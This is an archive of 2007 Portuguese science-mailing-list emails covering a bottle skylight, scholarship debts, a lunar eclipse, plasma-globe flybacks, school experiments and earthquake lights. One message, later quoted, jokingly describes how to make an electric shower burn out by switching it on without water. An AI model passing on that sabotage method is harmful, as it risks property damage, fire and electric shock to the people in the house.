> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: RE: [ciencialist] Fw: ENERGIA ELÉTRICA
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/08/2007 19:56


E não se esquecer da água sanitária p/evitar a formação de algas... a não ser que vc queira uma luz verdinha...:)
[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] [RN] União cobra R$ 54 mi de ex-bolsistas do CNPq e Capes
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/08/2007 20:07

Ao menos com o governo americano, o Brasil poderia resolver esse problema
com bolsistas novos de maneira razoalvemente simples. Os vistos J-1 tem na
lei americana um item que força o usuário, após o fim do visto, a ficar 2
anos no país de origem, se o governo originário assim quiser, e só a
embaixada é capaz de liberar.

De todo modo, eu acho que os bolsistas que vão estudar fora têm destino meio
previsível, não? Eu conheci pouquíssimos que realmente voltaram pra ficar. É
uma dessas coisas brasileiras, as regras que "pegam" e outras que "não
pegam". Lembro-me daquele ditado: acordado nunca é caro.

Shridhar

On 8/20/07, Thiago Stein Parra <seriall@gmail.com> wrote:
>
> A situação é delicada, pois infelizmente o Brasil nem sempre dispõe de
> maneiras adequadas para recepcionar os novos cientistas e garantir que
> possam, de fato, desenvolver suas pesquisas e ter um padrão de vida
> razoável.
>
> No entanto, as regras para concessão de bolsas é clara, e de conhecimento
> prévio dos bolsistas.
> Sendo assim, apesar de reconhecer as dificuldades enfrentadas por nossos
> cientistas, acredito que a cobrança é devida, e destaco esta parte da
> matéria:
>
> ""Se a obrigação [voltar ao Brasil] não foi cumprida (...) significa que
> recursos pertencentes à sociedade brasileira, sabidamente escassos, foram
> empregados em proveito pessoal do bolsista e, até mesmo, em proveito do
> país
> que passou a abrigá-lo", disse na decisão o relator, Augusto Cavalcanti. "
>
> THiago Stein Parra
>
> On 8/20/07, rmtakata <roberto.takata@bol.com.br<roberto.takata%40bol.com.br>>
> wrote:
> >
> > http://www1.folha.uol.com.br/folha/educacao/ult305u321225.shtml
> > ----------------
> > []s,
> >
> > Roberto Takata
> >
> >
> >
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Eclipse Lunar Total, de 28 de agosto de 2007
FROM: Observatório Monoceros <observatorio.monoceros@gmail.com>
TO: "Monoceros-Grupo" <Observatorio_Monoceros@yahoogrupos.com.br>
CC: Asociación de Profesores de Astronomía del Uruguay <APAU@gruposyahoo.com.ar>, Urânia <urania_br@yahoogrupos.com.br>, "REANET" <reanet@yahoogrupos.com.br>, <planeta-azul-liada@gruposyahoo.com.ar>, "Baronessa Pedralli" <dulcineialu@yahoo.com.br>, "- Guilherme Serra Alves Pereira" <guisap@gbl.com.br>, <pasionporlaastronomia@gruposyahoo.com.ar>, "Observatorios." <observatorios@googlegroups.com>, "NOVIDADES_GEA" <novidades-gea@yahoogrupos.com.br>, "Edney Jones Rezende de Moraes" <edneyjones@yahoo.com.br>, "OBSERVACAO LUNAR" <observacao_lunar@yahoogrupos.com.br>, "Juventude FM" <alo@juventudefm.com.br>, Milton Fernández Fernández <osopardo.milton@gmail.com>, <estagiopromusit@yahoogrupos.com.br>, <erwerlam@yahoo.com.br>, Agrupación Astronómica de Córdoba <astrocord@yahoogroups.com>, "Jorge Coghlan" <liada@liada.net>, "Cometas" <observadorescometas@yahoogroups.com>, <clubsurastronomico@gruposyahoo.com.ar>, "ClubedAstronomia" <ClubedAstronomia@yahoogrupos.com.br>, <circulares_astronomicas@yahoogrupos.com.mx>, "Ciencialist" <ciencialist@yahoogrupos.com.br>, "Telescopios Cielosur" <telescopios_cielosur@gruposyahoo.com.ar>, "Foro Planetario Barquisimeto" <foroPB@gruposyahoo.com>, <astronomynews@yahoogrupos.com.br>, <AstroUruguay@groups.msn.com>, <astrotecno@yahoogrupos.com.mx>, "Moderador do grupo Astronomynews" <Astronomynews-owner@yahoogrupos.com.br>, Asociación de Aficionados a la Astronomía. <foro-aaa@gruposyahoo.com>, "Foro Astronautica" <astronautica-liada@gruposyahoo.com.ar>, "ASTROALCOY" <astroalcoy@yahoogroups.com>, <astro_mexico@yahoogrupos.com.mx>, "Foro AASP" <foro-AASP@yahoogroups.com>, "Foro Liada" <foro-liada@gruposyahoo.com.ar>, El Cyberastrónomo <cyberastronomo@yahoogroups.com>
DATE: 20/08/2007 20:48


Aos amigos que também acompanharão o Eclipse Lunar Total, de 28 de agosto de 2007, e necessitam de informações mais detalhadas, poderão obtê-las nos seguintes links, de Byron Soulsby - Theodore Lunar Observatory, Australia.


1] Infograma, cortesia de Fred Espenak, NASA: http://www.netspeed.com.au/minnah/2007/LE2007-2.html


2] Previsão das Imersões : IMMERSION PREDICTIONS [UT] : http://www.netspeed.com.au/minnah/2007/Immersions2.html


3] Previsão das Emersões : EMERSION PREDICTIONS [UT] : http://www.netspeed.com.au/minnah/2007/Emersions2.html


4] Cincunstâncias do Eclipse : LUNAR ECLIPSE CIRCUMSTANCES - by BYRON W. SOULSBY

http://www.netspeed.com.au/minnah/2007/Circumstances2.html


5] Digital Crater Timings from a Lunar Eclipse : http://www.netspeed.com.au/minnah/2007/Digital%20Crater%20Timings.html


Abraços a todos,


-------------------------------------------------------------------------
Lucimary Vargas de Oliveira Guardamino Espinoza
Presidente
Observatório Astronômico Monoceros
Estacão Meteorológica Nº083/5ºDISME-INMET
CEPESLE / AHAP
Além Paraíba-MG-Brasil
www.monoceros.xpg.com.br
http://astronomicando.blogspot.com/
www.arquivohistorico-mg.com.br
http://br.groups.yahoo.com/group/Observatorio_Monoceros/
MSN: observatoriomonoceros@hotmail.com
--------------------------------------------------------------------------







[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: flyback
FROM: Matheus Lopes <the_nightcrawler_best@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/08/2007 21:17

olá pessoal, nao consigo achar nenhum flyback para q eu possa fazer o globo de plasma, voces que moram num cidade maior nao conseguem 1 pra mim nao? se alguem tiver uma dica... manda ae...
Flickr agora em português. Você clica, todo mundo vê. Saiba mais.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] flyback
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/08/2007 10:00

Você já experimentou visitar uma oficina de conserto de eletro-eletrônicos?

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Matheus Lopes" <the_nightcrawler_best@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, August 20, 2007 9:17 PM
Subject: [ciencialist] flyback


olá pessoal, nao consigo achar nenhum flyback para q eu possa fazer o globo
de plasma, voces que moram num cidade maior nao conseguem 1 pra mim nao? se
alguem tiver uma dica... manda ae...
Flickr agora em português. Você clica, todo mundo vê. Saiba mais.

[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: [ciencialist] Fw: ENERGIA ELÉTRICA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/08/2007 12:08

A engenhoca não pode receber mais energia luminosa do que aquela incidente originalmente onde se fez o buraco para passar a garrafa. Assim, se o buraco feito pela garrafa abrange 100 cm², a 'luz' que penetrará espalhadamente no ambiente é aquela que incidiu em 100 cm².
No "banco de dados" do nosso maxi-computador takatiano, deve ter quanto de potência luminosa solar (incidência perpendicular) corresponde a esses 100 cm² e assim ficaremos sabendo a máxima potência elétrica equivalente dessa 'lâmpada de garrafa'. E então Roberto? Solta fora esse dado!
Gostei do detalhe do inventor em colocar um tiquinho de água de lavadeira para evitar a proliferação de fungos na água estagnada.
Sim, a desvantagem é à noite ... um invento para Nobel seria alguém descobrir como armazenar a luz do dia para utilizar à noite. Sim, já sei que as usinas hidrelétricas fazem isso ...., mas tava pensando num tipo de potinho, individual, ao recurso de todos.... algo parecido com um potinho para armazenar a energia elétrica de um raio para utilizar 'chaveadamente' depois!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 20 de agosto de 2007 11:09
Assunto: Re: [ciencialist] Fw: ENERGIA ELÉTRICA


A matéria em questão encontra-se em
http://video.globo.com/Videos/Player/Noticias/0,,GIM681129-7823-LITROS+DE+LUZ,00.html .
A idéia é original e engenhosa, mas não se trata de geração de energia
elétrica. A desvantagem óbvia é que o invento não funciona à noite, quando
seria mais necessário...

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: "ciencialist" <ciencialist@yahoogrupos.com.br>
Sent: Monday, August 20, 2007 10:08 AM
Subject: [ciencialist] Fw: ENERGIA ELÉTRICA


Quem viu algo disso? Pois nem sei do que essa consulente está falando!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: rosinesrc@hotmail.com
Para: leobarretos@uol.com.br
Enviada em: domingo, 19 de agosto de 2007 21:47
Assunto: ENERGIA ELÉTRICA


Gostaria saber qual a explicação para a geração de nergia elétrica a partir
da água sanitária = água. Matéria exibida no globo reporter com o título de
Litros de luz
Prof. Rosines


--------------------------------------------------------------------------------


Internal Virus Database is out-of-date.
Checked by AVG Free Edition.
Version: 7.5.476 / Virus Database: 269.11.15/949 - Release Date: 12/08/2007
11:03


[As partes desta mensagem que não continham texto foram removidas]



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Version: 7.5.484 / Virus Database: 269.12.0/961 - Release Date: 19/08/2007 07:27




SUBJECT: Re: [ciencialist] flyback
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/08/2007 12:19

Olá Matheus,

qualquer que seja o tamanho da cidade, haverá o mesmo tamanho em flyback, pois é raro hoje a casa que não tem um televisor. Assim, como televisores pifam, deve existir na cidade alguém que se $prontifique$ a consertá-los. Nessas oficinas de consertos de TV têm caixotes de flybacks descartados e nem o técnico sabe o que fazer com aquilo ... logo, é só ir até lá e pedir uma meia dúzia para fazer experimentos. O flyback pifado para a TV é perfeitamente aproveitável para fazer o globo de plasma, pois apenas o enrolamento de alta tensão (aquele cujo terminal vai para a chupeta ligada ao tubo) será útil --- e esse raramente é o defeito do componente. O enrolamento de baixa tensão deve ser feito pelo experimentador e consta de 5 a 10 espiras de cabinho 22 numa perna de ferrite livre do flyback, com center tape (pois, normalmente o oscilador é do tipo Hartley).

[]'


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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Matheus Lopes" <the_nightcrawler_best@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 20 de agosto de 2007 21:17
Assunto: [ciencialist] flyback


olá pessoal, nao consigo achar nenhum flyback para q eu possa fazer o globo de plasma, voces que moram num cidade maior nao conseguem 1 pra mim nao? se alguem tiver uma dica... manda ae...



SUBJECT: Re: [ciencialist] flyback
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/08/2007 12:22

Sorry Álvaro, enviei minha mensagem ao Matheus antes de ler sua resposta ... mas, coincidiu o remédio, pelo menos o princípio ativo :-)
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 21 de agosto de 2007 10:00
Assunto: Re: [ciencialist] flyback


Você já experimentou visitar uma oficina de conserto de eletro-eletrônicos?

[ ]s

Alvaro Augusto



SUBJECT: Re: [ciencialist] flyback
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/08/2007 14:20

A propósito, temos 'princípio ativo' para tudo.
Certo consulente, ainda desse ano, pediu-me como fazer para destruir o chuveiro elétrico da casa da tia dele ... sei lá porque!
Eu, maldosamente, dei a solução; copio: "... basta pegar aquele tubinho de lavar cachorro que tem pendurado no chuveiro, tirar o espalhador da ponta, por essa ponta na boca e soprar violentamente. A pressão no reservatório d'água no chuveiro aumenta, a borracha que leva os contatos sobe, liga o chuveiro ... e não tem água alguma para o resistor transferir calor ... é um estouro só!"

Putz, porque fui lembrar-me dessa mensagem?! ... e associei com 'princípio ativo'? Pobre encéfalo ... tá perdendo a validade.......

[]'


===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 21 de agosto de 2007 12:22
Assunto: Re: [ciencialist] flyback


Sorry Álvaro, enviei minha mensagem ao Matheus antes de ler sua resposta ... mas, coincidiu o remédio, pelo menos o princípio ativo :-)
[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================



SUBJECT: Fw: Projeto para 4� s�rie
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 21/08/2007 16:59

Oi Roberto,

quebra essa!

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: cibelemoraes
Para: leobarretos
Enviada em: terça-feira, 21 de agosto de 2007 12:58
Assunto: Projeto para 4ª série


Boa tarde!!


Estive visitando o site "Feira de Ciencias" e gostaria de um projeto para crianças de 4ª série.


Gostaria de uma experiência que chamasse atenção, pois vamos apresentar na praça central da cidade, seria possivel me ajudar com um projeto??


Muito obrigada.


Cibele Moraes.


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: Eternos Dan�arinos (D�vida)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 21/08/2007 17:00

E esta!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: ana gabi ao
Para: leobarretos@uol.com.br
Enviada em: terça-feira, 21 de agosto de 2007 16:20
Assunto: Eternos Dançarinos (Dúvida)


Boa Tarde!
Sou estudante do 2º ano do ensino médio, e vou utilizar essa experiência na minha avaliação experimental.
Gostei muito do conteúdo. Mas eu e meu grupo deveremos explicar o que isso tem a ver com o nosso dia a dia, e eu li reli li de novo e não consegui entender exatamente no que isso tem a ver com o dia a dia.
Se puder me responder com uma definição não muito complicada eu serei grata.
Desde já agradeço!
Abraços.

Gabriela
Flickr agora em português. Você clica, todo mundo vê. Saiba mais.



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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: flyback
FROM: "matheuslps" <the_nightcrawler_best@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/08/2007 19:06

valew povo, mas FOI dificil achar um flyback de secundario em forma de
toroide, depois de rodar metade da cidade, achei um pekeno da
STEVENSON, achu q era uma tv bem antiga né... bom o povo das lojas tao
dizendo q estao vendendo toda a sucata q tem, vendem pro
ferro-velho... por isso nao estava achando facil... agora ja posso
montar meu globo de plasma.. falow!



SUBJECT: Re: Fw: Projeto para 4ª série
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/08/2007 23:45

O objetivo maior é chamar a atenção ou ensinar alguma coisa pra gurizada?

Um tema bastante atual é a questão do aquecimento global. Um teatro
com os pimpolhos sobre isso decerto seria bastante chamativo.

[]s,

Roberto Takata


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> quebra essa!
>
> ===========================
> Luiz Ferraz Netto [Léo]
> -----Mensagem Original-----
> De: cibelemoraes
> Assunto: Projeto para 4ª série
>
> Estive visitando o site "Feira de Ciencias" e gostaria de um projeto
para crianças de 4ª série.
>
> Gostaria de uma experiência que chamasse atenção, pois vamos
apresentar na praça central da cidade, seria possivel me ajudar com um
projeto??



SUBJECT: Re: Fw: Eternos Dançarinos (Dúvida)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/08/2007 00:57

Ela pode pesquisar sobre detergentes e tb o q impede nosso alvéolos
pulmonares de colabarem sob ação da tensão superficial da água
presente no líquido q os recobrem.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> E esta!
>
> ===========================
> Luiz Ferraz Netto [Léo]
> -----Mensagem Original-----
> De: ana gabi ao
> Assunto: Eternos Dançarinos (Dúvida)
>
> Sou estudante do 2º ano do ensino médio, e vou utilizar essa
> experiência na minha avaliação experimental.
> Gostei muito do conteúdo. Mas eu e meu grupo deveremos explicar o
que isso tem a ver com o nosso dia a dia, e eu li reli li de novo e
não consegui entender exatamente no que isso tem a ver com o dia a dia.



SUBJECT: Enviando email: nd
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/08/2007 06:11

Atenção, nós, que achamos que, uma vez machão, machão para todo o sempre. Se eu renascer, minha parte feminina poderá ser avançada como quiser, mas certamente será lésbica, como diria o falecido ator, Jece Valadão. O link mostra o retrato do cientista que diz o que copiei e colei abaixo. Acho que ser assim assim (nada contra) dispara essas "previsões". Só quero mesmo ver.
Ôxente!
O homem invoca a teoria da evolução, para chamar a atenção para a "causa". Darwin deve estar se remexendo no túmulo Será?

Parece que João Carvalho tem enfocado esses aspectos, em seus escritos.

Victor.


http://groups.tecnocientista.info/nd.asp?cod=6025

Um conhecido cientista italiano está causando grande polêmica na Itália depois de ter apresentado uma teoria dizendo que a espécie humana está caminhando para o bissexualismo.

Durante uma conferência neste fim de semana na região da Toscana, Umberto Veronesi, que é médico e ex-ministro da Saúde, afirmou que a espécie humana deve caminhar para o bissexualismo "como resultado da evolução natural das espécies".

"O homem está perdendo suas características e tende a se transformar numa figura sexualmente ambígua, enquanto a mulher está se tornando mais masculina. Desta forma a sociedade evolui para um modelo único", afirmou Umberto Veronesi, que é oncologista.

Na opinião do médico, o sexo no futuro será apenas um gesto de demonstração de afeto e não terá fins reprodutivos. Por esta razão, defende, poderá ser praticado entre pessoas de sexos opostos ou não. Em entrevista a jornais italianos, Veronesi reafirmou sua teoria, apontando o fator hormonal como indicador da evolução rumo ao bissexualismo.

"Desde o pós-guerra a vitalidade dos espermatozóides diminuiu 50% porque as mudanças das condições de vida estão fazendo com que a hipófise (glândula responsável pela produção dos hormônios) produza cada vez menos hormônios andrógenos (masculinos)", afirma o oncologista, pioneiro no tratamento de câncer de mama na Itália.

"O homem não precisa mais de uma intensa agressividade física para sobreviver", diz ele. Com as mulheres, que tem papel cada vez mais ativo na sociedade, acontece o mesmo. Segundo o médico, as mulheres vem produzindo cada vez menos hormônio femininos ao longo dos anos.

"É o preço que se paga pela evolução natural da espécie, que é positivo porque nasce da busca pela igualdade entre os sexos", afirmou o oncologista ao jornal Corriere della Sera. A menor produção de hormônios acabaria atrofiando os órgãos reprodutivos e criando uma espécie de "preguiça reprodutiva", na avaliação de Umberto Veronesi.

Para o médico o sexo deixou de ser a única forma para procriar desde que novas técnicas foram criadas, como fecundação artificial e a clonagem Na opinião do médico, num futuro não muito próximo, a sociedade poderia ser organizada como o mundo das abelhas. A maior parte de seus membros seria praticamente assexuada e só uma pequena parte se dedicaria à reprodução.

"A diferença é que os homens são inteligentes e isto produz reações sentimentais, além de fisiológicas", afirmou Veronesi. A professora de sexologia da Universidade La Sapienza de Roma, Chiara Simonelli, concorda com as previsões de Umberto Veronesi.

Ela define este processo como resultado da evolução genética e da mudança de mentalidade, fenômenos que são interligados e se influenciam reciprocamente. "Mas este fenômeno está no começo. Para que tenha uma certa consistência é preciso esperar duas ou três gerações", afirmou Simonelli em entrevista ao Corriere della Sera.

O antropólogo Fiorenzo Facchini, da Universidade de Bolonha, discorda com a teoria da evoluçao natural para o bissexualismo. "Do ponto de vista antropológico, a orientação sexual é definida a nível biológico pela espécie e isto não pode ser alterado".

Para Facchini, a separaçao entre reprodução e sexualidade humana não é positiva. "Separar a reprodução da sexualidade e do núcleo familiar não pode ser visto como uma vantagem para a espécie humana. A reprodução nao é apenas encontro de gametes, implica relação entre duas pessoas", declarou Facchini ao Corriere della Sera.[Terra] .

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Fw: Eternos Dançarinos (Dúvida)
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/08/2007 06:37

Léo, gostei da exposição da experiência. Vou preparar material e fazê-la
para as minhas princesas, num desses fins de semana. Mas, para atender ao
que se pede, eis um “caminho”...:



Para uma comparação com o dia a dia, é só fazer as substituições:

1)Bacia com água: Brasil

2)Bolinhos de cânfora ou naftalina: os políticos que elegemos

3)Rolha de cortiça com uns três centímetros de diâmetro= os estados do
Brasil

4) agulhas de coser ou 4 palitos de dente: o Presidente, o Congresso, A
Câmera de Deputados, O Judiciário.

5) Figura de cartolina com os dançarinos: nós, os palhaços.



Com um pouco de imaginação, para fazer uma dissertação sobre o tema acima,
é só anotar o que há nos noticiários do dia a dia. Assim, não é difícil
descrever a teoria das tensões, não só superficiais, a que os ingredientes
1,2,3,4 e 5 dão causa.





Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: terça-feira, 21 de agosto de 2007 17:00
Para: ciencialist
Assunto: [ciencialist] Fw: Eternos Dançarinos (Dúvida)



E esta!

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: ana gabi ao
Para: leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
Enviada em: terça-feira, 21 de agosto de 2007 16:20
Assunto: Eternos Dançarinos (Dúvida)

Boa Tarde!
Sou estudante do 2º ano do ensino médio, e vou utilizar essa experiência na
minha avaliação experimental.
Gostei muito do conteúdo. Mas eu e meu grupo deveremos explicar o que isso
tem a ver com o nosso dia a dia, e eu li reli li de novo e não consegui
entender exatamente no que isso tem a ver com o dia a dia.
Se puder me responder com uma definição não muito complicada eu serei grata.
Desde já agradeço!
Abraços.

Gabriela
Flickr agora em português. Você clica, todo mundo vê. Saiba mais.

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07:27

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] flyback
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/08/2007 08:28

Deve ter alguma tia comprando o 5º chuveiro desse ano, em algum lugar
desse Brasil...! .
Esse moleque é o cão-chupando-manga , merece o papel de "pimentinha"
na próxima versão do enlatado!

Gil

Em 21/08/07, Luiz Ferraz Netto<leobarretos@uol.com.br> escreveu:
> A propósito, temos 'princípio ativo' para tudo.
> Certo consulente, ainda desse ano, pediu-me como fazer para destruir o chuveiro elétrico da casa da tia dele ... sei lá porque!
> Eu, maldosamente, dei a solução; copio: "... basta pegar aquele tubinho de lavar cachorro que tem pendurado no chuveiro, tirar o espalhador da ponta, por essa ponta na boca e soprar violentamente. A pressão no reservatório d'água no chuveiro aumenta, a borracha que leva os contatos sobe, liga o chuveiro ... e não tem água alguma para o resistor transferir calor ... é um estouro só!"
>
> Putz, porque fui lembrar-me dessa mensagem?! ... e associei com 'princípio ativo'? Pobre encéfalo ... tá perdendo a validade.......
>
> []'
>
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: terça-feira, 21 de agosto de 2007 12:22
> Assunto: Re: [ciencialist] flyback
>
>
> Sorry Álvaro, enviei minha mensagem ao Matheus antes de ler sua resposta ... mas, coincidiu o remédio, pelo menos o princípio ativo :-)
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>


SUBJECT: Re: [ciencialist] Fw: Eternos Dançarinos (Dúvida)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/08/2007 09:44

De: "J.Victor" <j.victor.neto@uol.com.br>

>Léo, gostei da exposição da experiência. Vou preparar material e fazê-la
para as minhas princesas, num desses fins de semana.<

Em especial, clique no link dessa mesma página, onde se lê ... sobre a teoria da tensão superficial (clique no destaque), ... e vá à página da tensão superficial. Acredito que suas princesas já merecem saber a distinção entre forças de coesão e de adesão. O experimento da primeira figura, à direita, dá uma notável conclusão, indispensável ao funcionamento dos 'brinquedos de tensão superficial', mostrando caso em que a adesão é maior que a coesão. A naftalina ou cânfora diminui as forças de coesão do líquido, mas não a de adesão água/cortiça (materiais diferentes). Dai a resultante ser não nula!
Eis, ainda, a boa oportunidade de explicar o 'torque', medida do binário ou conjugado que nasce no sistema 'bailarinos', causa da sua rotação. Faça-as 'enxergarem' as forças que nascem no eixo de rotação do sistema.

Acho que até vou dar um upgrade no artigo, incluindo as forças que efetivamente agem no sistema; estou ficando tentado a isso!

PS: Qto à parte política, nessa faixa etária do consulente, ......

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>


Léo, gostei da exposição da experiência. Vou preparar material e fazê-la
para as minhas princesas, num desses fins de semana. Mas, para atender ao
que se pede, eis um "caminho"...:




SUBJECT: Luzes de terremotos no Peru?
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 22/08/2007 14:31

Luzes de terremotos no Peru? <http://www.ceticismoaberto.com/news/?p=952>

Assista ao v�deo <http://www.ceticismoaberto.com/news/?p=952>

Diversos relatos de luzes no c�u antes, durante e depois dos terremotos no
Peru foram divulgados pela imprensa
local<http://www.elcomercio.com.pe/ediciononline/HTML/olecultimas/2007-08-15/olecultimas0419516.html>
:

Vizinhos asseguraram ter visto rel�mpagos no c�u de Lima
Durante a noite de hoje, antes e depois do forte sismo, vizinhos dos
distritos do Miraflores, La Molina e Cercado de Lima asseguraram ter visto o
c�u iluminar-se devido ao brilho de um inesperado rel�mpago em meio da noite
limenha.
Entretanto, o Servi�o Nacional de Meteorologia e Hidrologia (Senamhi)
assegurou a elcomercio.com.pe que n�o detectou nenhuma anomalia no c�u de
Lima, por isso asseguraram que este fen�meno podia dever-se � luz de algum
farol ou a alguns dos pain�is girat�rios que existem na cidade.

Muitos internautas, incluindo peruanos, buscaram respostas na internet e
acabaram encontrando as p�ginas de refer�ncia em MarcianitosVerdes abordando
o tema das luzes de
terremotos<http://marcianitosverdes.haaan.com/2006/05/las-luces-de-los-terremotos-primera-parte/>.
S�o um fen�meno natural registrado, embora ainda n�o muito bem compreendido.
Marcianitos recebeu diversos relatos, mas seu autor, Luis Ruiz Noguez, que
desde o in�cio advertiu que era preciso cautela antes de considerar luzes
terrestres, acabou mesmo por
considerar<http://marcianitosverdes.haaan.com/2007/08/transformadores-o-luces-de-los-terremotos/>
:

Estive lendo diversos f�runs de discuss�o peruanos em que v�rias testemunhas
relatam suas experi�ncias com o tremor de 15 de agosto. Cada vez estou mais
convencido que a maioria descrevem luzes produzidas pela explos�o de
transformadores el�tricos. A maior parte se d� no horizonte, detr�s de
casas, edif�cios ou �rvores. Em princ�pio n�o se escuta nenhuma explos�o,
mas isso � compreens�vel se tratarmos de nos localizar nesse caos. � O
transformador explode. Vemos o brilho. Mas segundos depois, dependendo da
dist�ncia que nos separa do transformador, escuta-se a explos�o. A luz viaja
mais r�pido que o som.
Ainda quando n�o se chegar a escutar um som, a luz poderia ser ocasionada
pelo choque de linhas de alta tens�o. A explos�o n�o � t�o sonora como com
os transformadores.
As luzes, como digo, viram-se no horizonte. N�o encontrei descri��es de
luzes em pleno c�u.

Noguez tamb�m indicou v�deos de curtos-circuitos e explos�es el�tricas
afins, como o abaixo. Podem ser extremamente luminosos � de fato, luzes de
arcos el�tricos est�o entre as mais potentes que podemos produzir:

Assista ao v�deo <http://www.ceticismoaberto.com/news/?p=952>

Apesar destas considera��es mais prosaicas e cautelosas, Noguez tamb�m
recebeu v�rios relatos de luzes que teriam vindo do oceano. Ao fim, pondera:

S� uma investiga��o em sitio com informe da companhia de luz para determinar
